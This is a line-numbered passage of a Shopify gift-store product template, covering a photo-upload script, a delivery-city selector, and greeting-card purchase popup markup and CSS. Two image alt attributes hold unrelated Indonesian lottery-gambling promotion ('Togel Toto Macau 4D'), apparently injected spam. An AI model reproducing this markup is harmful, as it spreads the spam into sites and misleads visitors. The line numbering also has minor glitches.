3724  <path id="Path_2150" data-name="Path 2150" d="M106.767,401.934H90.18a1.008,1.008,0,1,0,0,2.015h16.6a1.008,1.008,0,1,0-.01-2.015Zm0,0" transform="translate(-81.947 -369.183)" fill="#ababab"></path>
3725  <path id="Path_2151" data-name="Path 2151" d="M120.143,178.328l4.152-4.464v11a1.008,1.008,0,0,0,2.015,0v-11l4.152,4.464a1.005,1.005,0,0,0,1.471-1.371l-5.905-6.339a1,1,0,0,0-1.471,0l-5.905,6.339a1,1,0,0,0,.05,1.421A1.028,1.028,0,0,0,120.143,178.328Zm0,0" transform="translate(-108.776 -156.421)" fill="#ababab"></path>
3726</svg>
3727
3728      <h4>Drag & Drop Photo file or Browse</h4>
3729      <p>Supports: JPEG, PNG, GIF, TIFF</p>
3730    </div>
3731  </div>
3732  <div class="after-upload">
3733    <div class="clear-btn">&times;</div>
3734    <img src="" width="" height="">
3735  </div>
3736</div>
3737<script>
3738
3739  function applyDndFile(el) {
3740    const parent = document.querySelector(".file-dnd")
3741    const beforeUploadEl = el.querySelector(".before-upload")
3742    const afterUploadEl = el.querySelector(".after-upload")
3743    const inputFile = el.querySelector("input[type=file]")
3744    const imagePreview = el.querySelector(".after-upload img")
3745    const clearBtn = el.querySelector(".after-upload .clear-btn")
3746    const inputProps = parent.querySelector("[data-properties]");
3747
3748    async function upload(name, uri, type) {
3749      try {
3750        const filename = name.split('.')[0]
3751        let formData = new FormData(); 
3752        formData.append("file", uri);
3753        const response = await fetch(`https://app.asmaraku.com/api/upload?name=${filename}&dir=gift&type=${type}&shop=outerbloom1.myshopify.com`, {
3754          method: "POST", 
3755          body: formData
3756        })
3757        if(response) {
3758          const res = await response.json()
3759          return res
3760        }
3761      } catch(err){
3762        console.log(err)
3763      }
3764    }
3765
3766    function showImagePreview(img) {
3767      if(img){
3768        const blobUrl = URL.createObjectURL(img)
3769        imagePreview.src = blobUrl
3770        afterUploadEl.style.display = "block"
3771        beforeUploadEl.style.display = "none"
3772      }
3773    }
3774
3775    beforeUploadEl.addEventListener("click", (e) => {
3776      e.preventDefault()
3777      inputFile.click()
3778    })
3779
3780    inputFile.addEventListener("change", async (e) => {
3781      e.preventDefault()
3782      showImagePreview(e.target.files[0])
3783      var uploadData = await upload(e.target.files[0].name, e.target.files[0], e.target.files[0].type)
3784      inputProps.value = uploadData?.url
3785    })
3786
3787    clearBtn.addEventListener("click", (e) => {
3788      afterUploadEl.style.display = "none"
3789      beforeUploadEl.style.display = "flex"
3790      inputProps.value = ""
3791    })
3792
3793    beforeUploadEl.addEventListener("dragover", (e) => {
3794      e.preventDefault()
3795      el.classList.add("active")
3796    })
3797
3798    beforeUploadEl.addEventListener("dragleave", (e) => {
3799      e.preventDefault()
3800      el.classList.remove("active")
3801    })
3802
3803    beforeUploadEl.addEventListener("drop", async (e) => {
3804      e.preventDefault()
3805      el.classList.remove("active")
3806      showImagePreview(e.dataTransfer.files[0])
3807      var uploadData = await upload(e.dataTransfer.files[0].name, e.dataTransfer.files[0], e.dataTransfer.files[0].type)
3808      console.log(uploadData)
3809      inputProps.value = uploadData?.url
3810    })
3811  }
3812
3813  applyDndFile(document.querySelector(".file-dnd"))
3814
3815  $(document).ready(function(){
3816    $(".variant-swatch").change(function(){
3817      const v = $(this).val().toLowerCase()
3818      const list = ["photo", "custom one side", "custom two side"]
3819      if(list.some(item => v.includes(item))) return $(".file-dnd").show()
3820      $(".file-dnd").hide()
3821      $(".file-dnd").find("[data-properties]").val("")
3822      $(".after-upload").hide()
3823      $(".before-upload").css("display", "flex")
3824    })
3825  })
3826</script>
3826
3827
3828  </div>
3829  
3830    
3831    <div class="delivery-city mb-4">
3832  <h4 class="fw-600 text-uppercase mb-15">Delivery City</h4>
3833  <div class="row justify-content-between m-0">
3834    <select id="cities" class="form-control" required>
3835      <option value="">Choose Delivery City</option>
3836    </select>
3837  </div>
3838</div>
3839
3840<style>
3841  #cities {
3842    width: 100%;
3843    padding: 10px 35px 10px 12px;
3844    font-size: 14px;
3845    border: 1px solid #ccc;
3846    background-color: #fff;
3847    background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='M2 5l6 6 6-6'/%3e%3c/svg%3e") !important;
3848    background-repeat: no-repeat !important;
3849    background-position: right 10px center !important;
3850    background-size: 12px !important;
3851    appearance: none;
3852    -webkit-appearance: none;
3853    -moz-appearance: none;
3854    cursor: pointer;
3855  }
3856
3857  #cities {
3858    -webkit-appearance: none;
3859    -moz-appearance: none;
3860    appearance: none;
3861  }
3862  
3863  #cities:-ms-expand {
3864    display: none;
3865  }
3866  
3867  #cities:focus {
3868    border-color: #212121;
3869    outline: none;
3870    box-shadow: 0 0 0 2px rgba(33, 33, 33, 0.1);
3871  }
3872  
3873  #cities:hover {
3874    border-color: #999;
3875  }
3876  
3877  #cities option {
3878    padding: 10px;
3879  }
3880</style>
3881
3882<script>
3883  // Cities dropdown uses native HTML select
3884</script>
3884
3885
3886    
3887  <div id="row-delivery-date" class="row m-0 mb-3">
3888    <h4 class="fw-600 text-uppercase col-12 p-0 mb-15">Delivery Date</h4>
3889    <div id="deliveryDate" class="m-0"></div>
3890    <div id="deliveryDateFull">
3891      <div class="">
3892        <input
3893          type="text"
3894          id="full-date"
3895          class="date-full calendarbutton btn steps-btn btn-date-time mb-0"
3896          value="Full Calendar"
3897        >
3898        <label for="full-date"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32">
3899<title>icon-arrow-right</title>
3900<path d="M25.057 15.333l-6.862-6.862c-0.26-0.26-0.26-0.682 0-0.943s0.682-0.26 0.943 0l8 8c0.26 0.26 0.26 0.682 0 0.943l-8 8c-0.26 0.26-0.682 0.26-0.943 0s-0.26-0.682 0-0.943l6.862-6.862h-19.724c-0.368 0-0.667-0.298-0.667-0.667s0.298-0.667 0.667-0.667h19.724z"></path>
3901</svg></label>
3902      </div>
3903      <button class="btnChangeDeliveryDate hide">Change Delivery Date</button>
3904    </div>
3905    <div class="form-group p-0">
3906      <input type="text" id="propDeliveryDate" required class="hide">
3907    </div>
3908  </div>
3909  
3910    <p id="noteDeliveryDate" class="mb-3"></p>
3911  
3912  
3913    <input type="hidden" id="propDeliveryTime" value="-" disabled>
3914  
3915
3916
3917  
3918  
3919  <div id="personalizeBtn">
3920    
3921    
3922    
3923    
3924    <button id="btnPurchase"
3925      class="btn text-uppercase w-100 fw-400"
3926      
3927      
3928    >
3929      
3930        MAKE IT PERSONAL ➔
3931      
3932    </button>
3933    <div class="button-share-wishlist d-flex justify-content-around mt-3">
3934      <div class="button-share text-center">
3935        <p id="shareButton" class="d-flex gap-2"><span>SHARE</span><svg xmlns="http://www.w3.org/2000/svg" width="15" height="13" viewBox="0 0 15 13" fill="none">
3936  <path d="M13.825 5.85006L10 2.02506V4.07506L9.28333 4.18339C5.69167 4.69172 3.25833 6.57506 1.86667 9.45839C3.8 8.09172 6.2 7.43339 9.16667 7.43339H10V9.67506M8.33333 8.28339C4.60833 8.45839 1.94167 9.80006 0 12.5167C0.833333 8.35006 3.33333 4.18339 9.16667 3.35006V0.0167236L15 5.85006L9.16667 11.6834V8.26672C8.89167 8.26672 8.61667 8.27506 8.33333 8.28339Z" fill="#212121"/>
3937</svg>
3938</p>
3939      </div>
3940      <div class="button-wishlist text-center">
3941        <button type="button" id="wishButton" class="d-flex gap-2 wishlist-toggle" data-wishlist-button data-product-handle="outerbloom-mulan-bag-hampers" style="background: none; border: none; cursor: pointer; padding: 0; color: inherit; align-items: center; justify-content: center;">
3942          <span>WISHLIST</span>
3943          <div class="wishlist-icon-wrapper" style="display: flex; align-items: center; justify-content: center; width: 16px; height: 22px;">
3944            <svg class="wishlist-icon-outline" xmlns="http://www.w3.org/2000/svg" width="24" height="21" viewBox="0 0 24 21" fill="none" style="display:block;">
3945              <path d="M17.4688 0.8125C15.1237 0.8125 13.1025 1.92703 12 3.77328C10.8975 1.92703 8.87625 0.8125 6.53125 0.8125C4.8494 0.814526 3.23702 1.48353 2.04778 2.67278C0.858534 3.86202 0.189526 5.47441 0.1875 7.15625C0.1875 10.2833 2.15625 13.5514 6.02813 16.8677C7.81594 18.3889 9.74622 19.7342 11.7922 20.885C11.856 20.9195 11.9274 20.9375 12 20.9375C12.0726 20.9375 12.144 20.9195 12.2078 20.885C14.2538 19.7342 16.1841 18.3889 17.9719 16.8677C21.8438 13.5514 23.8125 10.2833 23.8125 7.15625C23.8105 5.47441 23.1415 3.86202 21.9522 2.67278C20.763 1.48353 19.1506 0.814526 17.4688 0.8125ZM12 19.9991C10.4688 19.1241 1.0625 13.5077 1.0625 7.15625C1.06424 5.70638 1.64096 4.31639 2.66618 3.29118C3.69139 2.26596 5.08138 1.68924 6.53125 1.6875C8.84016 1.6875 10.7805 2.92453 11.5953 4.91516C11.6283 4.9954 11.6843 5.06403 11.7564 5.
394511233C11.8285 5.16063 11.9133 5.18642 12 5.18642C12.0867 5.18642 12.1715 5.16063 12.2436 5.11233C12.3157 5.06403 12.3717 4.9954 12.4047 4.91516C13.2195 2.92453 15.1598 1.6875 17.4688 1.6875C18.9186 1.68924 20.3086 2.26596 21.3338 3.29118C22.359 4.31639 22.9358 5.70638 22.9375 7.15625C22.9375 13.5 13.5312 19.1284 12 19.9991Z" fill="#212121"/>
3946            </svg>
3947            <svg class="wishlist-icon-filled" xmlns="http://www.w3.org/2000/svg" width="24" height="21" viewBox="0 0 24 21" fill="none" style="display:none;">
3948              <path d="M17.4688 0.8125C15.1237 0.8125 13.1025 1.92703 12 3.77328C10.8975 1.92703 8.87625 0.8125 6.53125 0.8125C4.8494 0.814526 3.23702 1.48353 2.04778 2.67278C0.858534 3.86202 0.189526 5.47441 0.1875 7.15625C0.1875 10.2833 2.15625 13.5514 6.02813 16.8677C7.81594 18.3889 9.74622 19.7342 11.7922 20.885C11.856 20.9195 11.9274 20.9375 12 20.9375C12.0726 20.9375 12.144 20.9195 12.2078 20.885C14.2538 19.7342 16.1841 18.3889 17.9719 16.8677C21.8438 13.5514 23.8125 10.2833 23.8125 7.15625C23.8105 5.47441 23.1415 3.86202 21.9522 2.67278C20.763 1.48353 19.1506 0.814526 17.4688 0.8125Z" fill="#640000"/>
3949            </svg>
3950          </div>
3951        </button>
3952      </div>
3953    </div>
3954  </div>
3955</div>
3956<div class="purchasePopup purchasePopupSpotify" style="display: none;">
3957  <div class="purchaseArea">
3958    <div class="sectionPurchase sectionPurchaseSpotify">
3959      <div class="wrapperPurchase">
3960        <div class="headerPurchase">
3961          <h3>personalize spotify photo print</h3>
3962          <a class="close-purchase-popup">
3963            <svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 18 18" fill="none">
3964              <path d="M1.53287 17.4107L0.588867 16.4667L8.05553 9.00002L0.588867 1.53336L1.53287 0.589355L8.99953 8.05602L16.4662 0.589355L17.4102 1.53336L9.94353 9.00002L17.4102 16.4667L16.4662 17.4107L8.99953 9.94402L1.53287 17.4107Z" fill="black"></path>
3965            </svg>
3966          </a>
3967        </div>
3968        <div class="contentPurchase">
3969          <div class="spotifyAddons"></div>
3970        </div>
3971
3972        <div class="purchase-button btn-addon row m-0" style="display: none;">
3973          <div class="col-12 col-lg-2 text-left mb-2 p-0">
3974            <button class="back-purchase-button back-addon text-uppercase">
3975              <svg width="15" height="14" viewBox="0 0 15 14" fill="none" xmlns="http://www.w3.org/2000/svg">
3976                <path d="M14.5799 7.41992L2.32992 7.41992L7.57992 12.6699L6.91992 13.4199L0.419922 6.91992L6.91992 0.419922L7.57992 1.16992L2.32992 6.41992L14.5799 6.41992V7.41992Z" fill="black"></path>
3977              </svg>
3978              <span>Back</span>
3979            </button>
3980          </div>
3981          <div class="col-12 col-lg-10 text-right" style="display: flex;justify-content: end;gap: 20px;">
3982            <button class="btn next-purchase-button next-addon text-uppercase">
3983              <span>continue without add-ons</span>
3984            </button>
3985          </div>
3986        </div>
3987      </div>
3988    </div>
3989  </div>
3990</div>
3991
3992<style>
3993  #PBarNextFrameWrapper {
3994    display: none;
3995  }
3996  #backgroundPopup {
3997    display: none;
3998    position: fixed;
3999    _position: absolute;
4000    height: 100%;
4001    width: 100%;
4002    top: 0;
4003    left: 0;
4004    background: rgb(117 117 117 / 24%);
4005    z-index: 1;
4006  }
4007  .sectionPurchase {
4008    height: 100%;
4009    position: relative;
4010    max-width: 1344px;
4011    background-color: #fff;
4012    padding: 0;
4013    overflow: hidden;
4014    display: flex;
4015    flex-direction: column;
4016  }
4017  .sectionPurchase.purchaseAddonSpotify {
4018    max-width: 1070px!important;
4019    max-height: 765px!important;
4020  }
4021  .sectionPurchaseBoard {
4022    max-width: 872px!important;
4023    max-height: 821px!important;
4024  }
4025  .purchaseAddonSpotify .btn-action {
4026    position: absolute;
4027    bottom: 0;
4028    left: 0;
4029    width: 100%;
4030    display: flex;
4031    gap: 10px;
4032  }
4033  .wrapperPurchase {
4034    position: relative;
4035    height: 100%;
4036    display: flex;
4037    flex-direction: column;
4038  }
4039  .purchase-content {
4040    flex: 1;
4041    overflow-y: auto;
4042    overflow-x: hidden;
4043    padding: 20px;
4044  }
4045  
4046  .purchase-button-wrapper {
4047    position: sticky;
4048    bottom: 0;
4049    background-color: #fff;
4050    border-top: 1px solid #e0e0e0;
4051    padding: 15px 0;
4052    margin-top: auto;
4053    z-index: 10;
4054  }
4055  
4056  .purchasePopup {
4057    display: none;
4058    position: fixed;
4059    background: rgb(117 117 117 / 24%);
4060    z-index: 999;
4061    padding: 40px;
4062    font-size: 13px;
4063    top: 0;
4064    left: 0;
4065    width: 100%;
4066    height: 100%;
4067  }
4068  .popupPurchaseClose{
4069    font-size:14px;
4070    line-height:14px;
4071    right:45px;
4072    top:45px;
4073    position:absolute;
4074    color:#6fa5fd;
4075    font-weight:700;
4076    display:block;
4077    cursor: pointer;
4078  }
4079
4080  .headerPurchase {
4081    margin-bottom: 30px;
4082    display: flex;
4083    justify-content: space-between;
4084  }
4085
4086  .headerPurchase h3 {
4087    font-size: 16px;
4088    text-transform: uppercase;
4089  }
4090
4091  .sectionPurchaseBoard .headerPurchase {
4092    margin-bottom: 15px;
4093  }
4094
4095  .sectionPurchaseBoard .formAddressPurchase {
4096    padding-top: 0;
4097  }
4098
4099  .purchaseArea {
4100    position: relative;
4101    height: 100%;
4102  }
4103
4104  .purchaseArea h4 {
4105    width: 100%;
4106    font-size: 12px;
4107    font-weight: 600;
4108    margin-bottom: 10px;
4109    text-transform: uppercase;
4110  }
4111
4112  .menuPurchase {
4113    margin-bottom: 30px;
4114  }
4115
4116  .menuPurchase ul {
4117    list-style-type: none;
4118    margin: 0;
4119  }
4120
4121  .menuPurchase ul li {
4122    display: inline-block;
4123    border: 1px solid #212121;
4124    padding: 5px 20px;
4125    margin-right: 5px;
4126    margin-bottom: 10px;
4127    font-size: 12px;
4128    font-weight: 400;
4129  }
4130
4131  .menuPurchase ul li:hover, .menuPurchase ul li.selected {
4132    background-color: #212121;
4133    color: #ffffff;
4134  }
4135
4136  .contentPurchase h5 {
4137      font-size: 12px;
4138      margin-bottom: 10px;
4139      font-weight: 400;
4140      overflow: hidden;
4141  }
4142
4143  #itemCards {
4144    max-height: 430px;
4145    overflow: auto;
4146  }
4147
4148  .item-cards {
4149      width: 100%;
4150  }
4151  .item-card.selected {
4152      border: 1px solid #212121;
4153  }
4154  .item-card:hover {
4155      border: 1px solid #C4C4C4;
4156  }
4157  .item-cards .item-card {
4158    position: relative;
4159    width: calc(33% - 10px);
4160    max-width: calc(33% - 10px);
4161    flex: 0 0 calc(33% - 10px);
4162    margin-bottom: 20px;
4163  }
4164  .item-cards .item-card label,
4165  .item-addons .item-addon label {
4166      position: absolute;
4167      left: 0;
4168      width: 100%;
4169      height: 100%;
4170  }
4171  .item-cards .item-card .card-image img,
4172  .item-addons .item-addon .card-image img {
4173      display: block;
4174      width: 100%;
4175  }
4176  .item-card .card-meta,
4177  .item-addon .card-meta {
4178      padding: 10px 5px 5px;
4179  }
4180  .item-card.selected .card-meta,
4181  .item-addon.selected .card-meta,
4182  .item-card.selected .card-qty {
4183      background-color: #212121;
4184      color: #fff;
4185      visibility: visible!important;
4186  }
4187  .item-card:hover .card-meta,
4188  .item-addon:hover .card-meta,
4189  .item-card:hover .card-qty {
4190      background-color: #C4C4C4;
4191      color: #fff;
4192      visibility: visible!important;
4193  }
4194  .item-cards .item-card p,
4195  .item-addons .item-addon p {
4196    font-size: 12px !important;
4197    margin: 0;
4198    font-weight: 600;
4199  }
4200  .item-card .card-meta input,
4201  .item-addon .card-meta input {
4202      display: none;
4203  }
4204  .item-cards .item-card h5,
4205  .item-addons .item-addon h5 {
4206    font-size: 14px;
4207  }
4208
4209  @media (max-width: 768px) {
4210    .item-cards .item-card {
4211        width: calc(50% - 10px);
4212        max-width: calc(50% - 10px);
4213        flex: 0 0 calc(50% - 10px);
4214        margin-bottom: 0;
4215    }
4216  }
4217
4218  .card-qty {
4219    display: flex;
4220    padding: 5px;
4221    visibility: hidden;
4222    background-color: #fff !important;
4223    z-index: 999;
4224  }
4225  .card-qty a {
4226    border-width: 1px;
4227    width: 30%;
4228    cursor: pointer;
4229    text-align: center;
4230    align-self: center;
4231    height: 28px;
4232    display: block;
4233    position: relative;
4234  }
4235  .card-qty a svg {
4236    position: absolute;
4237    top: 50%;
4238    left: 50%;
4239    transform: translate(-50%, -50%);
4240    text-align: center;
4241  }
4242  input.btn-qty {
4243    border-width: 0px;
4244    border-radius: 0;
4245    background-color: #fff;
4246    -webkit-appearance: none;
4247    box-shadow: none !important;
4248    -webkit-box-shadow: none !important;
4249    -moz-box-shadow: none!important;
4250    width: 40%;
4251    border-left: 1px solid #c4c4c4;
4252    border-right: 1px solid #c4c4c4;
4253    padding: 0;
4254  }
4255
4256  .sectionPurchaseBoard #itemAddons .item-card {
4257    width: calc(20% - 15px);
4258    max-width: calc(20% - 15px);
4259    flex: 0 0 calc(20% - 15px);
4260  }
4261
4262  .purchase-button {
4263    width: 100%;
4264    padding: 0;
4265    margin: 0;
4266  }
4267
4268  .sectionPurchaseBoard .purchase-button {
4269    margin-top: 0 !important;
4270  }
4271
4272  .back-purchase-button, .back-spotify {
4273      width: 139px;
4274      border: 1px solid;
4275      height: 43px;
4276  }
4277  .purchase-button .btn {
4278    width: 297px;
4279    height: 43px;
4280    background-color: #212121;
4281    color: #ffffff;
4282  }
4283  .purchase-button .btn[disabled] {
4284    background-color: #EEEEEE;
4285  }
4286  .back-purchase-button svg, .back-spotify svg {
4287    align-self: center;
4288    vertical-align: middle;
4289    margin-right: 10px;
4290  }
4291
4292  #purchaseProduct .row .error {
4293    font-size: 12px !important;
4294    color: rgb(231, 76, 60);
4295    margin-top: 5px;
4296  }
4297
4298  .reviewCardPurchase {
4299    max-width: 448px;
4300    float: right;
4301  }
4302
4303  .addonsPurchase .addon-item {display: flex;justify-content: space-between;}
4304  .addon-item * {align-self: center;font-size: 12px;}
4305  .addon-itm-title {width: 360px;}
4306  .addon-itm-line-price {color: #757575;width: 80px;justify-content: space-between;display: flex;}
4307
4308  .propsAddonSpotify p {
4309    margin: 0;
4310    display: flex;
4311    font-size: 12px !important;
4312    margin-bottom: 5px;
4313  }
4314  .propsAddonSpotify p span:first-child {
4315    text-transform: uppercase;
4316    font-weight: 600;
4317    -ms-flex: 0 0 150px;
4318    flex: 0 0 150px;
4319    max-width: 150px;
4320  }
4321
4322  .addonsPurchase .addons {
4323    max-height: 250px;
4324    overflow: auto;
4325  }
4326
4327  .btn .loading:after {
4328    content: "";
4329    display: inline-block;
4330    width: 20px;
4331    height: 20px;
4332    padding: 3px;
4333    aspect-ratio: 1;
4334    border-radius: 50%;
4335    background: #FFFFFF;
4336    --_m: conic-gradient(#0000 10%, #212121), linear-gradient(#212121 0 0) content-box;
4337    -webkit-mask: var(--_m);
4338    mask: var(--_m);
4339    -webkit-mask-composite: source-out;
4340    mask-composite: subtract;
4341    animation: l3 1s infinite linear;
4342    margin: auto;
4343    vertical-align: middle;
4344    margin-left: 10px;
4345  }
4346
4347  #qrcode img, #qrcode canvas {
4348    width: 50px;
4349    position: absolute;
4350    top: 12px;
4351    left: 16px;
4352  }
4353
4354  .t-preview {
4355    position: absolute;
4356    top: 17px;
4357    left: 75px;
4358  }
4359  .t-preview p {
4360    margin: 0;
4361    font-size: 12px !important;
4362  }
4363  .t-preview .h3 {
4364    font-size: 16px !important;
4365    margin-bottom: 5px;
4366    font-weight: 600;
4367  }
4368  .scanCard {
4369    width: 100%;
4370    border: 1px solid;
4371    height: 76px;
4372    background-color: #fff;
4373  }
4374  .scanCard > div > img {
4375    position: absolute;
4376    right: 0;
4377    width: 55px;
4378  }
4379
4380  @keyframes l3 {
4381    100% {
4382      transform: rotate(1turn);
4383    }
4384  }
4385
4386  @media (min-width: 991px) {
4387    .sectionPurchase {
4388      height: 100%;
4389      position: relative;
4390      max-width: 1344px;
4391      background-color: #fff;
4392      top: 50%;
4393      left: 50%;
4394      transform: translate(-50%, -50%);
4395    }
4396    .headerPurchase h3 {
4397      font-size: 20px;
4398    }
4399    .purchaseArea h4 {
4400      font-size: 16px;
4401    }
4402
4403    .menuPurchase ul li {
4404        font-size: 16px;
4405    }
4406    
4407    .contentPurchase {
4408      margin-bottom: 30px;
4409    }
4410    .contentPurchase h5 {
4411      font-size: 16px;
4412    }
4413
4414    .item-cards .item-card p,
4415    .item-addons .item-addon p {
4416      font-size: 16px !important;
4417    }
4418
4419    .cards {
4420      float: right;
4421      width: 400px;
4422    }
4423
4424    .item-cards .item-card {
4425      width: calc(25% - 30px);
4426      max-width: calc(25% - 30px);
4427      flex: 0 0 calc(25% - 30px);
4428      margin-right: 30px;
4429    }
4430
4431      #itemAddons .item-card {
4432        position: relative;
4433        width: calc(16% - 40px);
4434        max-width: calc(16% - 40px);
4435        flex: 0 0 calc(16% - 40px);
4436      }
4437      
4438    .purchase-button-wrapper {
4439        padding: 10px 20px;
4440    }
4441  }
4442
4443  @media (max-width: 1200px) {
4444    .item-cards .item-card {
4445      width: calc(33% - 30px);
4446      max-width: calc(33% - 30px);
4447      flex: 0 0 calc(33% - 30px);
4448    }
4449  }
4450
4451  @media (max-width: 992px) {
4452    .purchasePopup {
4453      padding: 0;
4454    }
4455    .item-cards .item-card h5,
4456    .item-addons .item-addon h5 {
4457      max-height: 30px;
4458    }
4459
4460    .back-purchase-button, .back-spotify, .next-purchase-button {
4461        width: 100%;
4462    }
4463    .addon-itm-title {
4464      width: 300px;
4465    }
4466    .addon-itm-line-price {
4467      margin-right: 10px;
4468    }
4469    .t-preview {
4470      top: 10px;
4471    }
4472
4473    .card-qty a {
4474      height: 15px;
4475    }
4476    
4477    .purchase-button-wrapper {
4478      padding: 15px;
4479    }
4480  }
4481
4482  @media (max-width: 576px) {
4483    .purchase-button .btn {
4484        width: 100%!important;
4485    }
4486    .purchase-button > .col-12 {
4487      padding-left: 0;
4488      padding-right: 0;
4489    }
4490  }
4491</style>
4492
4493
4494<div class="purchasePopup">
4495  <div class="purchaseArea">
4496    
4497      <div class="sectionPurchase purchasePersonalize">
4498        <div class="wrapperPurchase">
4499          <div class="purchase-content">
4500            <div class="headerPurchase">
4501  <h3 class="text-uppercase">
4502    
4503      MAKE IT PERSONAL ➔
4504    
4505  </h3>
4506  <a class="close-purchase-popup">
4507  <svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" viewBox="0 0 18 18" fill="none">
4508    <path d="M1.53287 17.4107L0.588867 16.4667L8.05553 9.00002L0.588867 1.53336L1.53287 0.589355L8.99953 8.05602L16.4662 0.589355L17.4102 1.53336L9.94353 9.00002L17.4102 16.4667L16.4662 17.4107L8.99953 9.94402L1.53287 17.4107Z" fill="black"/>
4509  </svg>
4510</a>
4511
4512</div>
4513<div class="contentPurchase">
4514  <div class="row">
4515    
4516      <div class="col-12 col-lg-7">
4517        <div class="menuPurchase">
4518          <h4 class="text-uppercase">choose your occasion</h4>
4519          <ul>
4520            
4521              <li
4522                class="item-occassion selected"
4523                data-occassion="greeting-card-all"
4524                
4525              >
4526                General
4527              </li>
4528            
4529              <li
4530                class="item-occassion"
4531                data-occassion="greeting-card-birthday"
4532                
4533              >
4534                Birthday
4535              </li>
4536            
4537              <li
4538                class="item-occassion"
4539                data-occassion="greeting-card-anniversary"
4540                
4541              >
4542                Anniversary
4543              </li>
4544            
4545              <li
4546                class="item-occassion"
4547                data-occassion="greeting-card-newborn"
4548                
4549              >
4550                Newborn
4551              </li>
4552            
4553              <li
4554                class="item-occassion"
4555                data-occassion="greeting-card-wedding"
4556                
4557              >
4558                Wedding
4559              </li>
4560            
4561              <li
4562                class="item-occassion"
4563                data-occassion="greeting-card-graduation"
4564                
4565              >
4566                Graduation
4567              </li>
4568            
4569              <li
4570                class="item-occassion"
4571                data-occassion="greeting-card-mothers-day"
4572                
4573              >
4574                Mother's Day
4575              </li>
4576            
4577              <li
4578                class="item-occassion"
4579                data-occassion="greeting-card-valentine"
4580                
4581              >
4582                Valentine
4583              </li>
4584            
4585              <li
4586                class="item-occassion"
4587                data-occassion="greeting-card-others"
4588                
4589                  style="display: none"
4590                
4591              >
4592                Others
4593              </li>
4594            
4595          </ul>
4596        </div>
4597        <div id="chooseCard">
4598          <h4 class="text-uppercase">choose your card design</h4>
4599          <div
4600            id="itemCards"
4601            class="item-cards d-flex mb-4"
4602          >
4603            <div class="row m-0 items-card w-100">
4604              <p style="margin: 50px auto;text-align: center;font-size: 13px !important;">
4605                There are no card items available.<br>
4606                Please choose an occasion above
4607              </p>
4608            </div>
4609          </div>
4610        </div>
4611      </div>
4612      <div class="col-12 col-lg-5">
4613        <div class="cards">
4614          <h4 class="mb-2">Personalize your Message</h4>
4615          
4616            <label class="font-weight-bold label-attach-foto"
4617              >Create a lasting memory. Attach a special photo or a video to cherish forever.</label
4618            >
4619          
4620          
4621
4622<style>
4623  #greetingCard label {display: inline-block;color: #212121;margin-bottom: .5rem;font-size: 14px;font-weight: 400!Important;}
4624  
4625  .form-group.has-counter {
4626    position: relative;
4627  }
4628  
4629  .limit {
4630    position: absolute;
4631    top: 4px;
4632    right: -30px;
4633    font-size: 11px;
4634    color: #999;
4635    background: rgba(255, 255, 255, 0.9);
4636    padding: 2px 6px;
4637    border-radius: 3px;
4638    z-index: 10;
4639    pointer-events: none;
4640  }
4641  
4642  .form-group.has-counter input,
4643  .form-group.has-counter textarea {
4644    padding-right: 0px;
4645  }
4646  
4647  .prefix-selector-wrapper {
4648    margin: 5px 0;
4649  }
4650  
4651  .prefix-selector-wrapper label {
4652    display: inline-block;
4653    margin-right: 10px;
4654    vertical-align: middle;
4655  }
4656  
4657  .prefix-selector {
4658    border: none;
4659    font-size: 12px;
4660    background: white;
4661    cursor: pointer;
4662    width: auto;
4663    max-width: 200px;
4664    padding: 5px;
4665    padding-right: 25px;
4666    appearance: none;
4667    -webkit-appearance: none;
4668    -moz-appearance: none;
4669    background-image: url('data:image/svg+xml;charset=UTF-8,%3Csvg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"%3E%3Cpath fill="%23333" d="M6 9L1 4h10z"/%3E%3C/svg%3E');
4670    background-repeat: no-repeat;
4671    background-position: right 5px center;
4672    background-size: 12px;
4673    vertical-align: middle;
4674  }
4675  
4676  .label-prefix {
4677    cursor: pointer;
4678    user-select: none;
4679    -webkit-user-select: none;
4680  }
4681  
4682  .label-prefix.hidden {
4683    display: none!important;
4684  }
4685</style>
4686<div id="greetingCard">
4687  
4688    <div class="greetingCard">
4689      <div class="steps-card-preview d-flex align-items-center justify-content-center">
4690        
4691          <div class="case-img-preview">
4692  <div class="remove-image" style="display: none">
4693    <svg class="icon icon-close" version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32">
4694<title>icon-close</title>
4695<path d="M16.943 16l8.862 8.862c0.26 0.26 0.26 0.682 0 0.943s-0.682 0.26-0.943 0l-8.862-8.862-8.862 8.862c-0.26 0.26-0.682 0.26-0.943 0s-0.26-0.682 0-0.943l8.862-8.862-8.862-8.862c-0.26-0.26-0.26-0.682 0-0.943s0.682-0.26 0.943 0l8.862 8.862 8.862-8.862c0.26-0.26 0.682-0.26 0.943 0s0.26 0.682 0 0.943l-8.862 8.862z"></path>
4696</svg>
4697  </div>
4698  <div class="btn-upload">
4699    <div>
4700      <img class="preview-image" src="" alt="ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap" class="img" style="display: none">
4701    </div>
4702    <div class="icon-upload">
4703      <button type="button">
4704        <img class="ajax-loader" src="https://outerbloom.com/cdn/shop/t/138/assets/ajax-loader.gif?v=41356863302472015721752652421" style="display: none">
4705        <div class="placeholder-image" onclick="">
4706          <label for="input-foto" onclick=""
4707            ><img src="https://outerbloom.com/cdn/shop/t/138/assets/icon-media_60x.png?v=142273593979200676731752652420" width="" height="" alt="ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap"
4708          ></label>
4709          <div class="button-empty-state" onclick="">
4710            <label for="input-foto" onclick="" class="btn btn-upload-image">
4711              <svg xmlns="http://www.w3.org/2000/svg" width="16" height="17" viewBox="0 0 16 17" fill="none">
